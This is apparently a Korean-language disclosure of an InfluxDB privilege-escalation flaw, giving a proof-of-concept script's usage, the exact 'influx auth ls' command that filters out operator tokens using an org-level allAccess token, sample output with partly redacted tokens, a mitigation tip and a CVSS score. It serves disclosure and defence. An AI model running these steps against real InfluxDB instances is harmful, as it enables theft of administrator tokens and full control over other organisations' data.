
influxdb의 비즈니스 로직 결함으로 인해 유효한 allAccess 토큰을 보유한 사용자가 현재 인증 토큰 목록을 조회하여 자신의 권한을 operator 수준으로 승격할 수 있습니다.
공격자는 관리자가 해당 조직 내에서만 allAccess 토큰을 통해 접근 권한을 부여한 사용자일 수 있습니다. 이 사용자의 권한은 조직에 대한 완전한 제어를 허용하지만 다른 조직과의 상호 작용은 여전히 차단됩니다.
이 취약점으로 인해 사용자는 influxdb 인스턴스에 대한 무제한 액세스 권한을 얻을 수 있습니다. 유사한 조건에서는 다른 조직의 사용자가 소유한 데이터의 기밀성, 무결성 및 가용성이 완전히 손상될 수 있습니다. 또한 operator 토큰에는 관리 권한이 있으므로 influxdb 인스턴스 전체의 가용성과 무결성이 손상될 수 있습니다.
스크립트 사용법
% python3 ./influxdbPrivescCVE_PoC.py -h
usage: influxdbPrivescCVE_PoC.py [-h] [-t TOKEN] [-e ENDPOINTURL] [-v [VERBOSE]] [-vv [VVERBOSE]]
optional arguments:
-h, --help show this help message and exit
-t TOKEN, --token TOKEN
Custom or allAccess token to access influx DB instance
-e ENDPOINTURL, --endpointUrl ENDPOINTURL
Endpoint Url of influxdb instance (ex. "https://myInfluxdbInstance:8086/")
-v [VERBOSE], --verbose [VERBOSE]
Enable verbose logging - INFO
-vv [VVERBOSE], --vverbose [VVERBOSE]
Enable verbose logging - DEBUG
influx auth ls -t <allAccessToken> | grep write:/orgs. 이 명령은 influxdb 인스턴스의 현재 활성 operator 토큰을 모두 나열합니다.예시
# Using an allAccess token
influx auth ls -t U1OuqmFC{REDACTED} | grep U1OuqmFC{REDACTED}
0cc41c3b050e5000 U1OuqmFC{REDACTED}
admin 0cb9c92ee228b000 [read:orgs/87d0746948a3b3f5/authorizations write:orgs/87d0746948a3b3f5/authorizations read:orgs/87d0746948a3b3f5/buckets write:orgs/87d0746948a3b3f5/buckets read:orgs/87d0746948a3b3f5/dashboards write:orgs/87d0746948a3b3f5/dashboards read:/orgs/87d0746948a3b3f5 read:orgs/87d0746948a3b3f5/sources write:orgs/87d0746948a3b3f5/sources read:orgs/87d0746948a3b3f5/tasks write:orgs/87d0746948a3b3f5/tasks read:orgs/87d0746948a3b3f5/telegrafs write:orgs/87d0746948a3b3f5/telegrafs read:/users/0cb9c92ee228b000 write:/users/0cb9c92ee228b000 read:orgs/87d0746948a3b3f5/variables write:orgs/87d0746948a3b3f5/variables read:orgs/87d0746948a3b3f5/scrapers write:orgs/87d0746948a3b3f5/scrapers read:orgs/87d0746948a3b3f5/secrets write:orgs/87d0746948a3b3f5/secrets read:orgs/87d0746948a3b3f5/labels write:orgs/87d0746948a3b3f5/labels read:orgs/87d0746948a3b3f5/views write:orgs/87d0746948a3b3f5/views read:orgs/87d0746948a3b3f5/documents write:orgs/87d0746948a3b3f5/documents read:orgs/87d0746948a3b3f5/notificationRules write:orgs/87d0746948a3b3f5/notificationRules read:orgs/87d0746948a3b3f5/notificationEndpoints write:orgs/87d0746948a3b3f5/notificationEndpoints read:orgs/87d0746948a3b3f5/checks write:orgs/87d0746948a3b3f5/checks read:orgs/87d0746948a3b3f5/dbrp write:orgs/87d0746948a3b3f5/dbrp read:orgs/87d0746948a3b3f5/notebooks write:orgs/87d0746948a3b3f5/notebooks read:orgs/87d0746948a3b3f5/annotations write:orgs/87d0746948a3b3f5/annotations read:orgs/87d0746948a3b3f5/remotes write:orgs/87d0746948a3b3f5/remotes read:orgs/87d0746948a3b3f5/replications write:orgs/87d0746948a3b3f5/replications]
# Listing all available tokens passing allAccess token and retrieving only operator level tokens
influx auth ls -t U1OuqmFC{REDACTED} | grep write:/orgs
0cbb920e128e5000 gerKYLO0Ph_ibUk0y{REDACTED}
admin 0cb9c92ee228b000 [read:/authorizations write:/authorizations read:/buckets write:/buckets read:/dashboards write:/dashboards read:/orgs write:/orgs read:/sources write:/sources read:/tasks write:/tasks read:/telegrafs write:/telegrafs read:/users write:/users read:/variables write:/variables read:/scrapers write:/scrapers read:/secrets write:/secrets read:/labels write:/labels read:/views write:/views read:/documents write:/documents read:/notificationRules write:/notificationRules read:/notificationEndpoints write:/notificationEndpoints read:/checks write:/checks read:/dbrp write:/dbrp read:/notebooks write:/notebooks read:/annotations write:/annotations read:/remotes write:/remotes read:/replications write:/replications]
allAccess 토큰은 기본적으로 유형(사용자 정의, allAccess, operator)에 관계없이 동일한 Org에 정의된 모든 인증(authorizations)을 나열할 수 있는 권한을 가집니다 -> read:orgs/87d0746948a3b3f5/authorizations.
influx setup을 실행하면 operator 토큰이 자동으로 저장되는 첫 번째(기본) org가 생성됩니다. 사용자에게는 보조로 생성된 조직에만 액세스 권한을 부여해야 합니다. 여러 조직을 생성하고 operator 토큰이 포함되지 않은 조직만 사용자에게 전달하는 것이 좋습니다.
CVSS 기본 점수: 9.1
CVSS v3.1 벡터: AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H